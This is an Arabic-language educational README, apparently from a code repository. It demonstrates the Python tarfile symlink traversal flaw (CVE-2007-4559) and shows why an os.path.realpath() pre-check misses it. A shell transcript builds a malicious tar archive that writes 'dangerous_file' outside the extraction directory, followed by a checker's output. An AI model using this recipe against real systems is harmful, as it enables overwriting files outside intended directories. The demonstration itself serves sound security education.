
عرض تعليمي لهجوم CVE-2007-4559 على الروابط الرمزية لـ tarfile في بايثون مع سكربت يوضح لماذا تفشل os.path.realpath() في منع الاستخراج خارج الأدلة المقصودة.
هذا عرض توضيحي لكيفية تعرض المعالجة الافتراضية لاستخراج ملفات tar في بايثون قبل الإصدار 3.11.4 لهجوم رابط رمزي بسيط. تصف التعليمات أدناه كيفية إنشاء حمولة ضارة. يوضح السكريبت untar.py كيف ولماذا تعمل الميزات المضافة في 3.11.4 - وتحديداً ضرورة استدعاء شيء مثل os.path.realpath() قبل كل كتابة لكل ملف. يستخدم السكريبت نفس طريقة الفحص الموجودة في ميزة extraction filter المضمنة في بايثون >= 3.11.4 باستثناء أنه لا يكتب الملفات على القرص. وبالتالي يوضح كيف أن os.path.realpath() غير قادر على حل الروابط الرمزية بشكل صحيح، وبالتالي سيسمح بكتابة أعضاء tar خارج موقع نظام الملفات المقصود.
untar.py الذي سيوضح 'السبب' وراء التنفيذ الحديث لتحسين التحقق من صحة tar في مكتبة tarfile الخاصة ببايثون. بسبب طريقة عمل os.path.realpath()، لا يمكنك الاعتماد عليها لحل الروابط الرمزية إلا إذا كانت تلك الروابط موجودة بالفعل على نظام الملفات. هذا يعني أنه لا يمكنك الاعتماد على os.path.realpath() وحدها لفحص مسارات أعضاء tar قبل استخراج الأرشيف. يجب بدلاً من ذلك استدعاء os.path.realpath() قبل كل كتابة لكل عضو في الأرشيف لضمان اكتشاف نشاط الرابط الضار. انظر PEP-706 و tarfile doc لمزيد من المعلومات.snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
untar.py من هذا المستودع وضعه في المجلد ./labos.path.realpath() عندما لم يتم بعد كتابة الرابط الرمزي الضار على نظام الملفات الهدف.snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-